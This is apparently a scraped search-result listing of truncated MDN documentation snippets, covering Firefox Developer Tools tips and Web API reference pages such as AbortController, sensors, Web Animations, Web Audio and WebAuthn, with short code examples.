new capture. note: thanks to eric meyer for his enthusiasm for our screenshot feature, and help! small portions of this section have been borrowed from his firefox’s :screenshot command article. ...
Tips - Firefox Developer Tools
x icon (). press ctrl+alt+f to search in all scripts. press ctrl+d to search for a function definition. press ctrl+l to go to a specific line. style editor the black box icon () in the style sheet pane toggles the visibility of a style sheet. click an @media rule to apply it in responsive design mode. click the import button () to import a style sheet or the create button () to create a
new one. click the options button in the style sheet pane and click "show original sources" to toggle the display of css preprocessor files. network monitor click the request summary to compare performance of cache vs. no-cache page loading. when a request is selected click "edit and resend" to modify its headers and send it again. check "enable persistent logs" in the settings to keep reques...
Validators - Firefox Developer Tools
firefox extensions for validation quick reference sidebar tabs install devedge toolbox sidebars for quick access to web development references. ...
View Source - Firefox Developer Tools
view source features view source has three additional features, which can be accessed from the context menu in the view source tab: go to line scrolls to the specified line. if the number is higher than the lines in a file, you receive an error message. ...
Web console keyboard shortcuts - Firefox Developer Tools
gh matching commands f9 ctrl + r f9 step forward through matching command history (after initiating reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the current expression enter return enter add a
new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the previous autocompl...
about:debugging (before Firefox 68) - Firefox Developer Tools
console to this worker. you can set breakpoints, step through code, watch variables, evaluate code, and so on: registering workers at first, you won't see any workers listed under service workers or shared workers. as soon as a worker is registered, the listing is updated: before firefox 47, service workers were only shown when they were actually running. unregistering service workers
new in firefox 48. starting in firefox 48, you'll see a link named "unregister" next to each registered service worker: click the link to unregister the service worker. sending push events to service workers sending push events in about:debugging is
new in firefox 47. to debug push notifications, you can set a breakpoint in the push event listener. however, you can also debug push notificat...
ANGLE_instanced_arrays - Web APIs
tension is available on the webgl2 context by default and the constants and methods are available without the "angle" suffix. despite the name "angle", this extension works on any device if the hardware supports it and not just on windows when using the angle library. "angle" just indicates that this extension has been written by the angle library authors. constants this extension exposes one
new constant, which can be used in the gl.getvertexattrib() method: ext.vertex_attrib_array_divisor_angle returns a glint describing the frequency divisor used for instanced rendering when used in the gl.getvertexattrib() as the pname parameter. methods this extension exposes three
new methods. ext.drawarraysinstancedangle() behaves identically to gl.drawarrays() except that multiple ins...
AbortController.abort() - Web APIs
associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller =
new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ...
AbortController.signal - Web APIs
associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller =
new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ...
AbortSignal.aborted - Web APIs
the aborted read-only property returns a boolean that indicates whether the dom request(s) the signal is communicating with is/are aborted (true) or not (false). syntax var isaborted = abortsignal.aborted; value a boolean examples in the following snippet, we create a
new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the aborted property, and send an appropriate log to the console. var controller =
new abortcontroller(); var signal = controller.signal; // ... signal.aborted ? console.log('request has been aborted') : console.log('request not aborted'); specifications specification status comment domthe definition of 'onabort' in that specif...
AbortSignal.onabort - Web APIs
the onabort read-only property of the fetchsignal interface is an event handler invoked when an abort event fires, i.e. when the fetch request(s) the signal is communicating with is/are aborted. syntax abortsignal.onabort = function() { ... }; examples in the following snippet, we create a
new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console. var controller =
new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status comment domthe definition of 'onabort' in that specification. livi...
AbortSignal - Web APIs
associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller =
new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ...
AbsoluteOrientationSensor - Web APIs
the absoluteorientationsensor constructor creates a
new absoluteorientationsensor object which describes the device's physical orientation in relation to the earth's reference coordinate system. if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var absoluteorientationsensor =
new absoluteorientationsensor([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a ...
AbstractWorker.onerror - Web APIs
er.onerror property of the abstractworker interface represents an eventhandler, that is a function to be called when the error event occurs and bubbles through the worker. syntax myworker.onerror = function() { ... }; example the following code snippet shows creation of a worker object using the worker() constructor and setting up of an onerror handler on the resulting object: var myworker =
new worker('worker.js'); myworker.onerror = function() { console.log('there is an error with your worker!'); } specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification. living standard ...
AbstractWorker - Web APIs
enever an errorevent of type error bubbles through the worker. methods the abstractworker interface doesn't implement or inherit any methods. example as an abstract interface, you won't directly use abstractworker in your code. instead, you'll interact with either worker or sharedworker, both of which inherit the properties of abstractworker. this code snippet demonstrates the creation of a
new worker using the worker() constructor; it also shows how to then send a message to the worker. var myworker =
new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value, second.value]); console.log('message posted to worker'); } the worker's code is loaded from the file "worker.js". this code assumes that there's an <input> element represented by first; an eve...
Accelerometer.x - Web APIs
cause your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var xacceleration = accelerometer.x value a number. example acceleration is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
Accelerometer.y - Web APIs
cause your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var yacceleration = accelerometer.y value a number. example acceleration is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
Accelerometer.z - Web APIs
cause your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var zacceleration = accelerometer.z value a number. example acceleration is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
AesCtrParams - Web APIs
for every block. if the same key is used to encrypt more than one message, a different counter block must be used for all blocks across all messages. typically this is achieved by splitting the initial counter block value into two concatenated parts: a nonce (that is, a number that may only be used once). the nonce part of the block stays the same for every block in the message. each time a
new message is to be encrypted, a
new nonce is chosen. nonces don't have to be secret, but they must not be reused with the same key. a counter. this part of the block gets incremented each time a block is encrypted. essentially: the nonce should ensure that counter blocks are not reused from one message to the next, while the counter should ensure that counter blocks are not reused within a singl...
AmbientLightSensor.AmbientLightSensor() - Web APIs
the ambinentlightsensor() constructor creates a
new ambientlightsensor object, which returns the current light level or illuminance of the ambient light around the hosting device. if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var ambientlightsensor =
new ambientlightsensor(options) parameters options optional currently only one option is supported: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. the act...
AmbientLightSensor.illuminance - Web APIs
e policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation insfructions. syntax var level = ambientlightsensor.illuminance value a number indicating the current light level in lux. example if ( 'ambientlightsensor' in window ) { const sensor =
new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general. ambient ligh...
AnalyserNode.AnalyserNode() - Web APIs
the analysernode constructor of the web audio api creates a
new analysernode object instance. syntax var analysernode =
new analysernode(context, ?options); parameters inherits parameters from the audionodeoptions dictionary. context a reference to an audiocontext or offlineaudiocontext. options optional fftsize: the desired initial size of the fft for frequency-domain analysis. the default is 2048. maxdecibels: the desired initial maximum power in db for fft analysis. the default is -30. mindecibels: the desired initial minimum power in db for fft analysis. the default is -100. smoothingtimeconstant: the desired initial smoothing constant for the fft analysis. the default is 0.8. return value a
new analysernode object instance. specifications ...
Animation.currentTime - Web APIs
the animation.currenttime property of the web animations api returns and sets the current time value of the animation in milliseconds, whether running or paused. if the animation lacks a timeline, is inactive, or hasn't been played yet, currenttime's return value is null. syntax var currenttime = animation.currenttime; animation.currenttime =
newtime; value a number representing the current time in milliseconds, or null to deactivate the animation. examples in the drink me/eat me game, alice's height is animated so it can go from small to large or large to small. at the start of the game, her height is set between the two extremes by setting her animation's currenttime to half her keyframeeffect's duration: alicechange.currenttime = alicechange.effect.timing.duration / 2; a more g...
Animation.id - Web APIs
the animation.id property of the web animations api returns or sets a string used to identify the animation. syntax var animationsid = animation.id; animation.id =
newidstring; value a domstring which can be used to identify the animation, or null if the animation has no id. examples in the follow the white rabbit example, you can assign the rabbitdownanimation an id like so: rabbitdownanimation.effect.id = "rabbitgo"; specifications specification status comment web animationsthe definition of 'animation.id' in that specification. working draft editor's draft. ...
Animation.oncancel - Web APIs
the oncancel property of the web animations api's animation interface is the event handler for the cancel event. the cancel event can be triggered manually with animation.cancel() when the animation enters the "idle" play state from another state, such as when the animation is removed from an element before it finishes playing creating a
new animation that is initially idle does not trigger a cancel event on the
new animation. syntax var cancelhandler = animation.oncancel; animation.oncancel = cancelhandler; value a function to be executed when the animation is cancelled, or null if there is no cancel event handler. examples if this animation is canceled, remove its element. animation.oncancel = function() { animation.effect.target.remove(); }; specifications specif...
Animation.playbackRate - Web APIs
the animation.playbackrate property of the web animations api returns or sets the playback rate of the animation. animations have a playback rate that provides a scaling factor from the rate of change of the animation's timeline time values to the animation’s current time. the playback rate is initially 1. syntax var currentplaybackrate = animation.playbackrate; animation.playbackrate =
newrate; value takes a number that can be 0, negative, or positive. negative values reverse the animation. the value is a scaling factor, so for example a value of 2 would double the playback rate. setting an animation’s playbackrate to 0 effectively pauses the animation (however, its playstate does not necessarily become paused). examples in the growing/shrinking alice game example, clickin...
Animation.ready - Web APIs
since the same promise is used for both pending play and pending pause requests, authors are advised to check the state of the animation when the promise is resolved. syntax var readypromise = animation.ready; value a promise which resolves when the animation is ready to be played. ...
Animation.timeline - Web APIs
the animation.timeline property of the animation interface returns or sets the timeline associated with this animation. a timeline is a source of time values for synchronization purposes, and is an animationtimeline-based object. by default, the animation's timeline and the document's timeline are the same. syntax var animationstimeline = animation.timeline; animation.timeline =
newtimeline; value a timeline object to use as the timing source for the animation, or null to use the default, which is the document's timeline. examples here we set the animation's timeline to be the same as the document's timeline (this is the default timeline for all animations, by the way): animation.timeline = document.timeline; specifications specification status comment we...
Animation.updatePlaybackRate() - Web APIs
t sets the speed of an animation after synchronizing with its current playback position, ensuring that the resulting change in speed does not produce a sharp jump. after calling updateplaybackrate() the animation's playbackrate is not immediately updated. it will be updated once the animation's ready promise is resolved. syntax animation.updateplaybackrate(2); parameters playbackrate the
new speed to set. this may be a positive number (to speed up or slow down the animation), a negative number (to make it play backwards), or zero (to effectively pause the animation). return value none. examples a speed selector component would benefit from smooth updating of updateplaybackrate(), as demonstrated below: speedselector.addeventlistener('input', evt => { cartoon.updateplayback...
Animation - Web APIs
properties animation.currenttime the current time value of the animation in milliseconds, whether running or paused. if the animation lacks a timeline, is inactive or hasn't been played yet, its value is null. animation.effect gets and sets the animationeffectreadonly associated with this animation. this will usually be a keyframeeffect object. ...
AnimationPlaybackEvent.AnimationPlaybackEvent() - Web APIs
eventinitdict optional an optional eventinit dictionary object containing the following fields: bubbles optional defaults to false, of type boolean, indicating if the event bubbles or not. cancelable optional defaults to false, of type boolean, indicating if the event can be canceled or not. detail optional defaults to null, of type any — an event-dependent value associated with the event. ...
AudioBuffer.copyFromChannel() - Web APIs
ue that is outside the accepted range: the value of channelnumber specifies a channel number which doesn't exist (that is, it's greater than or equal to the value of numberofchannels on the channel). the value of startinchannel is outside the current range of samples that already exist in the source buffer; that is, it's greater than its current length. example this example creates a
new audio buffer, then copies the samples from another channel into it. var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var anotherarray =
new float32array(length); myarraybuffer.copyfromchannel(anotherarray, 1, 0); specification specification status comment web audio apithe definition of 'copyfromchannel' in that specification. workin...
AudioBuffer.copyToChannel() - Web APIs
o copy the channel data to. if channelnumber is greater than or equal to audiobuffer.numberofchannels, an index_size_err will be thrown. startinchannel optional an optional offset to copy the data to. if startinchannel is greater than audiobuffer.length, an index_size_err will be thrown. example var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var anotherarray =
new float32array; // copy channel data from second channel of myarraybuffer. myarraybuffer.copyfromchannel(anotherarray,1,0); // copy data from anotherarray to first channel of myarraybuffer. both channels have the same data now. myarraybuffer.copytochannel (anotherarray,0,0); specification specification status comment web audio apithe definition of 'copytochannel' in that ...
AudioBuffer.getChannelData() - Web APIs
e is greater than of equal to audiobuffer.numberofchannels, an index_size_err exception will be thrown. return value a float32array. example in the following example we create a two second buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the comments should clearly explain what is going on. you can also run the code live, or view the source. ...
AudioBufferSourceNode.detune - Web APIs
une the source up or down by one semitone, while +1200 and -1200 detune it up or down by one octave. syntax var source = audioctx.createbuffersource(); source.detune.value = 100; // value in cents note: though the audioparam returned is read-only, the value it represents is not. value a k-rate audioparam whose value indicates the detuning of oscillation in cents. ...
AudioBufferSourceNode.loop - Web APIs
ata function is used to decode an audio track and put it into an audiobuffersourcenode. buttons are provided to play and stop the audio playback, and a slider control is used to change the playbackrate property value on the fly. when the audio is played, it loops. ...
AudioBufferSourceNode.loopEnd - Web APIs
in playback, the sound will play normally until it reaches the 25 second mark. then the current play position will loop back to the 20 second mark and continue playing until the 25 second mark, ad infinitum (or at least until stop() is called). for a full working example, see this code running live, or view the source. ...
AudioBufferSourceNode.loopStart - Web APIs
played to the end, it loops, but you can control how long the loops last by altering loopstart and loopend. for example, if you set their values to 20 and 25, respectively, the audio will start to loop between 20 and 25 seconds in to the track. for a full working example, see this code running live, or view the source. ...
AudioBufferSourceNode.playbackRate - Web APIs
trol is used to change the playbackrate property value on the fly. you can run the example live (or view the source.) play the song and alter the playback rate for some fun results. ...
AudioContext.baseLatency - Web APIs
.e. the end of the audio graph — into the host system's audio subsystem ready for playing. note: you can request a certain latency during construction time with the latencyhint option, but the browser may ignore the option. syntax var baselatency = audioctx.baselatency; value a double representing the base latency in seconds. example // default latency ("interactive") const audioctx1 =
new audiocontext(); console.log(audioctx1.baselatency); // 0.00 // higher latency ("playback") const audioctx2 =
new audiocontext({ latencyhint: 'playback' }); console.log(audioctx2.baselatency); // 0.15 specifications specification status comment web audio apithe definition of 'baselatency' in that specification. working draft initial definition. browser comp...
AudioContext.outputLatency - Web APIs
an audio buffer out of an audio graph over to the host system's audio subsystem to play, and the time at which the first sample in the buffer is actually processed by the audio output device. it varies depending on the platform and the available hardware. syntax var outputlatency = audioctx.outputlatency; value a double representing the output latency in seconds. example const audioctx =
new audiocontext(); console.log(audioctx.outputlatency); specifications specification status comment web audio apithe definition of 'outputlatency' in that specification. working draft ...
AudioContext.suspend() - Web APIs
s the progression of time in the audio context, temporarily halting audio hardware access and reducing cpu/battery usage in the process — this is useful if you want an application to power down the audio hardware when it will not be using an audio context for a while. this method will cause an invalid_state_err exception to be thrown if called on an offlineaudiocontext. syntax var audioctx =
new audiocontext(); audioctx.suspend().then(function() { ... }); returns a promise that resolves with void. the promise is rejected if the context has already been closed. example the following snippet is taken from our audiocontext states demo (see it running live.) when the suspend/resume button is clicked, the audiocontext.state is queried — if it is running, suspend() is called; if it is s...
AudioContextLatencyCategory - Web APIs
o select one of a number of default values for acceptable maximum latency of an audio context. by using these strings rather than a numeric value when specifying a latency to a audiocontext, you can allow the user agent to select an appropriate latency for your use case that makes sense on the device on which your content is being used. audiocontextlatencycategory can be used when constructing a
new audiocontext by passing one of these values as the latencyhint option in the audiocontext() constructor's options dictionary. values value description "balanced" the user agent should balance audio output latency and power consumption when selecting a latency value. "interactive" the audio is involved in interactive elements, such as responding to user action...
AudioDestinationNode - Web APIs
imum number of channels that the physical device can handle. methods no specific method; inherits methods from its parent, audionode. example there is no complex set up for using an audiodestinationnode — by default, this simply represents the output of the user's system (e.g. their speakers), so you can get it hooked up inside an audio graph using only a few lines of code: var audioctx =
new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); source.connect(gainnode); gainnode.connect(audioctx.destination); to see a more complete implementation, check out one of our mdn web audio examples, such as voice-change-o-matic or violent theremin. specifications specification status comment web audio apithe definition of 'audiodestination...
AudioNode.channelCount - Web APIs
if the channelcountmode value is max. it is used as a maximum value if the channelcountmode value is clamped-max. it is used as the exact value if the channelcountmode value is explicit. syntax var oscillator = audioctx.createoscillator(); var channels = oscillator.channelcount; value an integer. example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcount; specifications specification status comment web audio apithe definition of 'channelcount' in that specification. working draft ...
AudioNode.channelCountMode - Web APIs
audiodestinationnode, analysernode, channelsplitternode in older versions of the spec, the default for a channelsplitternode was max. syntax var oscillator = audioctx.createoscillator(); oscillator.channelcountmode = 'explicit'; value a enumerated value representing a channelcountmode. example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcountmode = 'explicit'; specifications specification status comment web audio apithe definition of 'channelcountmode' in that specification. working draft ...
AudioNode.context - Web APIs
roperty of the audionode interface returns the associated baseaudiocontext, that is the object representing the processing graph the node is participating in. syntax var acontext = anaudionode.context; value the audiocontext or offlineaudiocontext object that was used to construct this audionode. ...
AudioNode.disconnect() - Web APIs
indexsizeerror exception is thrown. exceptions indexsizeerror a value specified for input or output is invalid, referring to a node which doesn't exist or outside the permitted range. invalidaccesserror the node on which disconnect() was called isn't connected to the specified destination node. example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); gainnode.disconnect(); specifications specification status comment web audio apithe definition of 'disconnect' in that specification. working draft ...
AudioNode.numberOfInputs - Web APIs
the numberofinputs property of the audionode interface returns the number of inputs feeding the node. source nodes are defined as nodes having a numberofinputs property with a value of 0. syntax var numinputs = audionode.numberofinputs; value an integer ≥ 0. example const audioctx =
new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofinputs); // 0 console.log(gainnode.numberofinputs); // 1 console.log(audioctx.destination.numberofinputs); // 1 specifications specification status comment web audio apithe definition of 'numberofinputs' in that specification. working draft ...
AudioNode.numberOfOutputs - Web APIs
the numberofoutputs property of the audionode interface returns the number of outputs coming out of the node. destination nodes — like audiodestinationnode — have a value of 0 for this attribute. syntax var numoutputs = audionode.numberofoutputs; value an integer ≥ 0. example const audioctx =
new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofoutputs); // 1 console.log(gainnode.numberofoutputs); // 1 console.log(audioctx.destination.numberofoutputs); // 0 specifications specification status comment web audio apithe definition of 'numberofoutputs' in that specification. working draft ...
AudioNodeOptions - Web APIs
audionodeoptions is inherited from by the option objects of the different types of audio node constructors. see for example analysernode.analysernode or gainnode.gainnode. syntax var audionodeoptions = { "channelcount" : 2, "channelcountmode" : "max", "channelinterpretation" : "discrete" } properties channelcount optional represents an integer used to determine how many channels are used when up-mixing and down-mixing connections to any inputs to the node. ...
AudioParam.defaultValue - Web APIs
the defaultvalue read-only property of the audioparam interface represents the initial value of the attributes as defined by the specific audionode creating the audioparam. syntax var defaultval = audioparam.defaultvalue; value a floating-point number. example const audioctx =
new audiocontext(); const gainnode = audioctx.creategain(); const defaultval = gainnode.gain.defaultvalue; console.log(defaultval); // 1 console.log(defaultval === gainnode.gain.value); // true specifications specification status comment web audio apithe definition of 'defaultvalue' in that specification. working draft ...
AudioParam.maxValue - Web APIs
the maximum possible value for the parameter's nominal (effective) range. syntax var maxval = audioparam.maxvalue; value a floating-point number indicating the maximum value permitted for the parameter's nominal range. the default value of maxvalue is the maximum positive single-precision floating-point value (+340,282,346,638,528,859,811,704,183,484,516,925,440). example const audioctx =
new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.maxvalue); // 3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'maxvalue' in that specification. working draft ...
AudioParam.minValue - Web APIs
the minimum possible value for the parameter's nominal (effective) range. syntax var minval = audioparam.minvalue; value a floating-point number indicating the minimum value permitted for the parameter's nominal range. the default value of minvalue is the minimum negative single-precision floating-point value (-340,282,346,638,528,859,811,704,183,484,516,925,440). example const audioctx =
new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.minvalue); // -3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'minvalue' in that specification. working draft ...
AudioParam.setTargetAtTime() - Web APIs
po for the source code, or view the example live.) when these buttons are pressed, settargetattime() is used to fade the gain value up to 1.0, and down to 0, respectively, with the effect starting after 1 second, and the length of time the effect lasts being controlled by the timeconstant. ...
AudioScheduledSourceNode.start() - Web APIs
ing because of a prior call to stop(). rangeerror the value specified for when is negative. example this example demonstrates how to create an oscillatornode which is scheduled to start playing in 2 seconds and stop playing 1 second after that. the times are calculated by adding the desired number of seconds to the context's current time stamp returned by audiocontext.currenttime. context =
new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* schedule the start and stop times for the oscillator */ osc.start(context.currenttime + 2); osc.stop(context.currenttime + 3); specifications specification status comment web audio apithe definition of 'start()' in that specification. working draft ...
AudioScheduledSourceNode.stop() - Web APIs
ions invalidstatenode the node has not been started by calling start(). rangeerror the value specified for when is negative. example this example demonstrates starting an oscillator node, scheduled to begin playing at once and to stop playing in one second. the stop time is determined by taking the audio context's current time from audiocontext.currenttime and adding 1 second. context =
new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* let's play a sine wave for one second. */ osc.start(); osc.stop(context.currenttime + 1); specifications specification status comment web audio apithe definition of 'stop()' in that specification. working draft ...
AudioTrackList.onchange - Web APIs
the audiotracklist property onchange is an event handler which is called when the change event occurs, indicating that one or more of the audiotracks in the audiotracklist have been enabled or disabled. the event is passed into the event handler in the form of an event object; the event doesn't provide any additional information. to determine the
new state of media's tracks, you'll have to look at their audiotrack.enabled flags. note: you can also add a handler for the change event using addeventlistener(). syntax audiotracklist.onchange = eventhandler; value set onchange to a function that should be called whenever tracks are enabled or disabled on the media element. example this snippet establishes a handler for the change event that looks at each of the tracks in the list, calli...
AudioWorkletGlobalScope - Web APIs
buffer with a wavetable const usefulvariable = 42 console.log(usefulvariable) registerprocessor('test-processor', testprocessor) next, in our main scripts file we'll load the processor, create an instance of audioworkletnode — passing the name of the processor to it — and connect the node to an audio graph. we should see the output of console.log calls in the console: const audiocontext =
new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const testnode =
new audioworkletnode(audiocontext, 'test-processor') testnode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletglobalscope' in that specification. working draft ...
AudioWorkletNodeOptions - Web APIs
it is only used when calling the audioworkletnode() constructor. during internal instantiation of the underlying audioworkletprocessor, the the structured clone algorithm is applied to the options object and the result is passed into audioworkletprocessor's constructor. properties numberofinputs optional the value to initialize the numberofinputs property to. defaults to 1. numberofoutputs optional the value to initialize the numberofoutputs property to. defaults to 1. ...
AuthenticatorAssertionResponse.authenticatorData - Web APIs
t can be requested for future authentications. the credential is "credentialidlength" bytes long. credentialpublickey (variable length) - a cose encoded public key. this public key will be stored on the server associated with a user's account and be used for future authentications. extensions (variable length) - an optional cbor map of extensions. ...
AuthenticatorAssertionResponse.signature - Web APIs
signature = authenticatorassertionresponse.signature value an arraybuffer object which the signature of the authenticator (using its private key) for both authenticatorassertionresponse.authenticatordata and a sha-256 hash given by the client for its data (the challenge, the origin, etc. and available from authenticatorassertionresponse.clientdatajson). ...
AuthenticatorAssertionResponse.userHandle - Web APIs
used in top-level contexts and will not be available in an <iframe> for example. syntax userhandle = authenticatorassertionresponse.userhandle value an arraybuffer object which is an opaque identifier for the current user. this is not human-readable and does not contain any personally identifying information (e.g. ...
AuthenticatorAssertionResponse - Web APIs
enticatorresponse.clientdatajson. the assertion signature is created with the private key of keypair that was created during the navigator.credentials.create() call and verified using the public key of that same keypair. authenticatorassertionresponse.userhandle secure contextread only an arraybuffer containing an opaque user identifier. methods none. ...
BaseAudioContext.createBiquadFilter() - Web APIs
rnode, which represents a second order filter configurable as several different common filter types. syntax baseaudiocontext.createbiquadfilter(); returns a biquadfilternode. example the following example shows basic usage of an audiocontext to create a biquad filter node. for a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
BaseAudioContext.createChannelMerger() - Web APIs
nelmergernode. example the following example shows how you could separate a stereo track (say, a piece of music), and process the left and right channel differently. to use them, you need to use the second and third parameters of the audionode.connect(audionode) method, which allow you to specify both the index of the channel to connect from and the index of the channel to connect to. ...
BaseAudioContext.createChannelSplitter() - Web APIs
plitternode. example the following simple example shows how you could separate a stereo track (say, a piece of music), and process the left and right channel differently. to use them, you need to use the second and third parameters of the audionode.connect(audionode) method, which allow you to specify the index of the channel to connect from and the index of the channel to connect to. ...
BaseAudioContext.createDelay() - Web APIs
n a constant loop — see create-delay (you can also view the source code). if you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ... var synthsource; playsynth.onclick = function() { synthsource = audioctx.createbuffersource(); synthsource.buffer = buffers[2]; synthsource.loop = true; synthsource.start(); synthsource.connect(synthdelay); synthdelay.connect(destination); this.setattribute('disabled', 'disabled'); } stopsynth.onclick = function(...
BaseAudioContext.createGain() - Web APIs
the following example shows basic usage of an audiocontext to create a gainnode, which is then used to mute and unmute the audio when a mute button is clicked by changing the gain property value. ...
BaseAudioContext.createOscillator() - Web APIs
t tone. syntax var oscillatornode = audioctx.createoscillator(); returns an oscillatornode. example the following example shows basic usage of an audiocontext to create an oscillator node. for applied examples/information, check out our violent theremin demo (see app.js for relevant code); also see our oscillatornode page for more information. ...
BaseAudioContext.createStereoPanner() - Web APIs
enode and a stereopannernode, and connect the two together using the connect() method. we then use an oninput event handler to change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved. moving the slider left and right while the music is playing pans the music across to the left and right speakers of the output, respectively. ...
BaseAudioContext.currentTime - Web APIs
the currenttime read-only property of the baseaudiocontext interface returns a double representing an ever-increasing hardware timestamp in seconds that can be used for scheduling audio playback, visualizing timelines, etc. it starts at 0. syntax var curtime = baseaudiocontext.currenttime; example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); // older webkit/blink browsers require a prefix ... console.log(audioctx.currenttime); reduced time precision to offer protection against timing attacks and fingerprinting, the precision of audioctx.currenttime might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it wi...
BaseAudioContext.destination - Web APIs
udio in the context. it often represents an actual audio-rendering device such as your device's speakers. syntax baseaudiocontext.destination; value an audiodestinationnode. example note: for a full example implementation, see one of our web audio demos on the mdn github repo, like voice-change-o-matic. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); // older webkit/blink browsers require a prefix var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillatornode.connect(gainnode); gainnode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'destination' in that specification. working draft ...
BaseAudioContext.listener - Web APIs
the listener property of the baseaudiocontext interface returns an audiolistener object that can then be used for implementing 3d audio spatialization. syntax baseaudiocontext.listener; value an audiolistener object. example note: for a full web audio spatialization example, see our panner-node demo. var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx =
new audiocontext(); // older webkit/blink browsers require a prefix ... var mylistener = audioctx.listener; specifications specification status comment web audio apithe definition of 'listener' in that specification. working draft ...
BaseAudioContext.sampleRate - Web APIs
